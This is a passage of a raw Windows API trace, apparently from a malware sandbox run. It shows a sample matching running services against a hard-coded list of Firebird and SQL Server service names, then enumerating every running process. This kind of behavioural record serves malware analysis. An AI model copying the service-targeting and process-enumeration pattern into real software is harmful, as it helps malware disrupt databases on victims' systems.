	[0059.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0059.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0059.896] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0059.896] lstrlenW (lpString="nsi") returned 3
	[0059.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0059.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0059.896] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0059.896] lstrlenW (lpString="PcaSvc") returned 6
	[0059.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0059.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0059.896] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0059.896] lstrlenW (lpString="PlugPlay") returned 8
	[0059.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0059.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0059.896] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0059.896] lstrlenW (lpString="Power") returned 5
	[0059.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0059.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0059.896] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0059.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0059.897] lstrlenW (lpString="ProfSvc") returned 7
	[0059.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0059.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0059.897] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0059.897] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0059.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0059.897] lstrlenW (lpString="RpcEptMapper") returned 12
	[0059.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0059.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0059.897] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0059.897] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0059.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0059.897] lstrlenW (lpString="RpcSs") returned 5
	[0059.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0059.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0059.897] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0059.897] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0059.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0059.897] lstrlenW (lpString="SamSs") returned 5
	[0059.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0059.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0059.897] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0059.897] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0059.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0059.897] lstrlenW (lpString="Schedule") returned 8
	[0059.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0059.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0059.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0059.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0059.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0059.898] lstrlenW (lpString="SecurityHealthService") returned 21
	[0059.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0059.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0059.898] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0059.898] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0060.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0060.222] lstrlenW (lpString="SENS") returned 4
	[0060.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0060.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0060.222] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0060.222] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0060.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0060.222] lstrlenW (lpString="ShellHWDetection") returned 16
	[0060.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0060.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0060.222] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0060.223] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0060.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0060.223] lstrlenW (lpString="Spooler") returned 7
	[0060.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0060.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0060.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0060.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0060.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0060.223] lstrlenW (lpString="StateRepository") returned 15
	[0060.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0060.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0060.223] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0060.223] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0060.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0060.223] lstrlenW (lpString="SysMain") returned 7
	[0060.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0060.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0060.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0060.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0060.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f860 | out: hHeap=0x4f0000) returned 1
	[0060.224] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e4
	[0060.232] Process32FirstW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0060.233] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0060.233] lstrlenW (lpString="System") returned 6
	[0060.234] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0060.234] lstrlenW (lpString="smss.exe") returned 8
	[0060.234] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.235] lstrlenW (lpString="csrss.exe") returned 9
	[0060.235] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0060.235] lstrlenW (lpString="wininit.exe") returned 11
	[0060.235] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0060.236] lstrlenW (lpString="csrss.exe") returned 9
	[0060.236] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0060.240] lstrlenW (lpString="winlogon.exe") returned 12
	[0060.240] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0060.241] lstrlenW (lpString="services.exe") returned 12
	[0060.241] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0060.242] lstrlenW (lpString="lsass.exe") returned 9
	[0060.242] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.242] lstrlenW (lpString="svchost.exe") returned 11
	[0060.243] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0060.243] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0060.243] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0060.244] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0060.244] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.244] lstrlenW (lpString="svchost.exe") returned 11
	[0060.244] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0060.245] lstrlenW (lpString="dwm.exe") returned 7
	[0060.245] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.246] lstrlenW (lpString="svchost.exe") returned 11
	[0060.246] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.246] lstrlenW (lpString="svchost.exe") returned 11
	[0060.246] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.247] lstrlenW (lpString="svchost.exe") returned 11
	[0060.247] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.248] lstrlenW (lpString="svchost.exe") returned 11
	[0060.248] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.248] lstrlenW (lpString="svchost.exe") returned 11
	[0060.248] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.249] lstrlenW (lpString="svchost.exe") returned 11
	[0060.249] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.249] lstrlenW (lpString="svchost.exe") returned 11
	[0060.249] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.250] lstrlenW (lpString="svchost.exe") returned 11
	[0060.250] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.251] lstrlenW (lpString="svchost.exe") returned 11
	[0060.251] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0060.251] lstrlenW (lpString="spoolsv.exe") returned 11
	[0060.251] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.252] lstrlenW (lpString="svchost.exe") returned 11
	[0060.252] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.252] lstrlenW (lpString="svchost.exe") returned 11
	[0060.253] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0060.253] lstrlenW (lpString="audiodg.exe") returned 11
	[0060.253] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0060.254] lstrlenW (lpString="sihost.exe") returned 10
	[0060.254] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0060.254] lstrlenW (lpString="svchost.exe") returned 11
	[0060.254] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0060.255] lstrlenW (lpString="taskhostw.exe") returned 13
	[0060.255] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0060.256] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0060.256] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0060.256] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0060.256] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0060.257] lstrlenW (lpString="explorer.exe") returned 12
	[0060.257] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0060.492] lstrlenW (lpString="Memory Compression") returned 18
	[0060.493] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0060.493] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0060.493] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0060.494] lstrlenW (lpString="SearchUI.exe") returned 12
	[0060.494] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0060.494] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0060.494] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0060.495] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0060.495] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0060.496] lstrlenW (lpString="taskhostw.exe") returned 13
	[0060.496] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0060.496] lstrlenW (lpString="UsoClient.exe") returned 13
	[0060.496] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0060.497] lstrlenW (lpString="taskhostw.exe") returned 13
	[0060.497] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0060.498] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0060.498] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0060.499] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0060.499] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0060.499] lstrlenW (lpString="msoia.exe") returned 9
	[0060.499] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0060.500] lstrlenW (lpString="msoia.exe") returned 9
	[0060.500] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0060.501] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0060.501] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0060.502] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0060.502] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0060.502] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0060.502] Process32NextW (in: hSnapshot=0x2e4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0060.503] lstrlenW (lpString="defeatpreston.exe") returned 17
